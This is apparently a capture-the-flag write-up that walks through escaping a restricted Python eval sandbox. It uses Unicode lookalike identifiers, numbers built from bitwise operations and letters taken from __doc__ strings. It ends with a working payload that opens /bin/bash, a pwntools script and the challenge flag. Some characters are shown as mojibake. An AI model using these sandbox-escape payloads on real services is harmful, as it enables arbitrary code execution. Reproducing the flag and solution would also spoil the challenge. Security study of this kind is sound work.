๐ Python - Not This Way
๐ Before you start
You can donate to me via Buy Me a Coffee or follow me on Github
๐ Challenge Description
#!/usr/bin/env python3
def __welcome__():
return print("MisTrale: Hello ! How can I help you ?")
def __check_code__(code):
restrictedChars = [
"C", "F", "I", "T", "S",
"U", "N", "O", "B", "D",
"G", "H", "J", "K", "M",
"L", "R", "E", "Q", "A",
"c", "f", "i", "t", "s",
"u", "n", "o", "b", "d",
"g", "h", "j", "k", "m",
"l", "r", "e", "q", "a",
"x", "+", "-", "*", "/",
"%", "'", '"', ":", ";",
"{", "}", "__", "@", "`",
]
restrictedChars += [chr(i) for i in range(48, 58)] # Sorry, Don't hate me :(
for char in restrictedChars:
if char in code:
raise Exception(f"Restricted character {char} found in code ! Try harder ;)")
BUILTINS = {
"__welcome__": __welcome__,
"__import__": lambda *a, **kw: __welcome__(),
"p": print,
}
def sandbox(code):
__check_code__(code)
eval(code, {"__builtins__": BUILTINS}, {})
code = ""
while True:
line = input(">>> ")
code += " \n" + line
while line:
line = input("")
code += " \n" + line
try:
sandbox(code)
except Exception as e:
print(e)
code = ""
๐ฉ Getting the flag
To access a global scope, we need to perform an injection like this, since the BUILTINS
are restricted.
>>> ().__class__.__base__.__subclasses__()[121]()._module.__builtins__
To bypass this restriction:
restrictedChars = [
"C", "F", "I", "T", "S",
"U", "N", "O", "B", "D",
"G", "H", "J", "K", "M",
"L", "R", "E", "Q", "A",
"c", "f", "i", "t", "s",
"u", "n", "o", "b", "d",
"g", "h", "j", "k", "m",
"l", "r", "e", "q", "a",
"x", "+", "-", "*", "/",
"%", "'", '"', ":", ";",
"{", "}", "__", "@", "`",
]
restrictedChars += [chr(i) for i in range(48, 58)]
๐ก How to build our alphabet ?
We first need to figure out how to access __class__
and __base__
without using banned characters. To do so, we can rely on the following method:
()._๏ผฟ๐l๐ถ๐ด๐ด๏ผฟ_._๏ผฟb๐ถ๐ดe๏ผฟ_._๏ผฟ๐ด๐ถb๐l๐ถ๐ด๐ดe๐ด๏ผฟ_()
In fact, weโre not using regular ASCII characters weโre using Unicode characters that look the same.
To get those, you can refer to this website:
And Pythonโs interpreter wonโt notice a thing.
To bypass double underscores (__
), we can use the Unicode version of ๏ผฟ
: _
Combining the two gives us a valid Unicode version of __class__
: ()._๏ผฟ๐l๐ถ๐ด๐ด๏ผฟ_
.
๐ข How to get numbers ?
In Python, it's not just about classic arithmetic operators:
+
for addition-
for subtraction*
for multiplication/
for division%
for modulo
We also have bitwise operators:
<<
for left shift>>
for right shift&
for ET|
for OU^
for XOR~
for NOT
We can use these to build numbers!
For example, to get 1
, we can do () == ()
(which is True == True
) and that evaluates to 1
To get 2
, we can shift 1
left by 1
: 1 << 1
And so on, all the way to 9
>>> print((()==())>>(()==())) # (1 >> 1) == 0
0
>>> print((()==())>>(()!=())) # 1: True == 1
1
>>> print((()==())<<(()==())) # 1 << 1 == 2
2
>>> print(((()==())<<(()==()))|(()==())) # (1 << 1) | 1 == (2 | 1) == 3
3
>>> print((()==())<<(()==())<<(()==())) # 1 << 1 << 1 == 4
4
>>> print(((()==())<<(()==())<<(()==()))|(()==())) # (1 << 1 << 1) | 1 == (4 | 1) == 5
5
>>> print(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))) # (1 << 1 << 1) | (1 << 1) == (4 | 2) == 6
6
>>> print(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))|(()==())) # (1 << 1 << 1) | (1 << 1) | 1 = (4 | 2 | 1) == 7
7
>>> print((()==())<<(()==())<<(()==())<<(()==())) # 1 << 1 << 1 << 1 == 8
8
>>> print(((()==())<<(()==())<<(()==())<<(()==()))|(()==())) # (1 << 1 << 1 << 1) | 1 = (8 | 1) == 9
9
๐ฅท Soโฆ does that mean we can build anything ?!
Since we can access objects and build numbers, we can reconstruct the full alphabet
. In Python, every object has a __doc__
attribute, which is a string.
Here are a few examples:
().__subclasshook__.__doc__[98] # 'M'
().__class__.__doc__[2] # 'i'
().__add__.__doc__[7] # 's'
().__init_subclass__.__doc__[0] # 'T'
().__add__.__doc__[4] # 'r'
().__add__.__doc__[13] # 'a'
().__add__.__doc__[9] # 'l'
().__add__.__doc__[1] # 'e'
().__class_getitem__.__doc__[4] # 'P'
().__doc__.__doc__[84] # 'w'
().__add__.__doc__[5] # 'n'
().__add__.__doc__[17] # '.'
().__subclasshook__.__doc__[147] # 'F'
().__add__.__doc__[9] # 'l'
().__add__.__doc__[13] # 'a'
().__class__.__doc__[38] # 'g'
So using bitshifting
and __doc__
we can build any word โ and even do imports. But I wonโt spoil that part just yet ๐
>>> ().__subclasshook__.__doc__[((((()==())>>(()!=())))<<(((()==())<<(()==())<<(()==()))|((()==())<<(()==())))|((((()==())>>(()!=())))<<(((()==())<<(()==())<<(()==()))|(()==())))|((((()==())>>(()!=())))<<((((()==())>>(()!=()))))))].__add__(().__class__.__doc__[(()==())<<(()==())]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==()))|((()==())<<(()==()))|(()==())]).__add__(().__init_subclass__.__doc__[(()==())>>(()==())]).__add__(().__add__.__doc__[(()==())<<(()==())<<(()==())]).__add__(().__add__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==()))|(()==())))|(((()==())>>(()!=()))<<((()==())<<(()==())))|(((()==())>>(()!=()))<<((()==())>>(()==()))))]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==())<<(()==()))|(()==())]).__add__(().__add__.__doc__[(()==())>>(()!=())]).__add__(().__class_getitem__.__doc__[(()==())<<(()==())<<(()==())]).__add__(().__doc__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))))|((()==())>>(()!=()))<<((()==())<<(()==())<<(()==()))|((()==())>>(()!=()))<<((()==())<<(()==())))]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==()))|(()==())]).__add__(().__add__.__doc__[(((()==())>>(()!=()))<<((()==())<<(()==())<<(()==()))|(((()==())>>(()!=()))<<((()==())>>(()==()))))]).__add__(().__subclasshook__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))|(()==())))|(((()==())>>(()!=()))<<((()==())<<(()==())<<(()==())))|(((()==())>>(()!=()))<<((()==())>>(()!=())))|(((()==())>>(()!=()))<<(()==())>>(()==())))]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==())<<(()==()))|(()==())]).__add__(().__add__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==()))|(()==())))|(((()==())>>(()!=()))<<((()==())<<(()==())))|(((()==())>>(()!=()))<<((()==())>>(()==()))))]).__add__(().__class__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==())<<(()==()))|(()==())))|((()==())>>(()!=()))<<((()==())<<(()==()))|(((()==())>>(()!=()))<<((()==())>>(()!=()))))])
'MisTralePwn.Flag'
๐ How to perform an import ?
We can use our techniques to import the os
module then call system("/bin/bash")
to escape.
>>> p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐๐๐๐_๏ผฟ.๐๐๐๐_๐๐๐๐๐๐(p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))].๐ง๐ฌ๐ฆ๐ซ([p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<~(~(()==()))],p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐๐๐๐๐()).๐๐๐๐๐๐(p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐๐๐๐_๏ผฟ.๐๐๐๐_๐๐๐๐๐๐._๏ผฟ๐๐๐๐_๏ผฟ[~(~(()==()))<<(~(~(()==()))^~(~(()==()))<<~(~(()==())))|~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))].๐ง๐ฌ๐ฆ๐ซ([p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))],p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐๐๐๐๐())
ls
Dockerfile main.py flag.txt
cat flag.txt
RM{Python_1S_R34lly_Ev1l_N3v3r_Use_1t_1F_D0nt_Kn0W_4LL_H1s_S3cr3t5}
๐ Script
from pwn import *
context.log_level='critical'
payload = f"""
p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐๐๐๐_๏ผฟ.๐๐๐๐_๐๐๐๐๐๐(p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))].๐ง๐ฌ๐ฆ๐ซ([p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<~(~(()==()))],p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐๐๐๐๐()).๐๐๐๐๐๐(p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐๐๐๐_๏ผฟ.๐๐๐๐_๐๐๐๐๐๐._๏ผฟ๐๐๐๐_๏ผฟ[~(~(()==()))<<(~(~(()==()))^~(~(()==()))<<~(~(()==())))|~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))].๐ง๐ฌ๐ฆ๐ซ([p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))],p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐๐๐๐๐())""".strip().replace('\n','')
io = process(['python3', 'main.py'])
io.sendline(payload.encode())
io.sendline(b'')
io.interactive()
๐ Documentations
๐ Support
๐ Before you leave
You can donate to me via Buy Me a Coffee or follow me on Github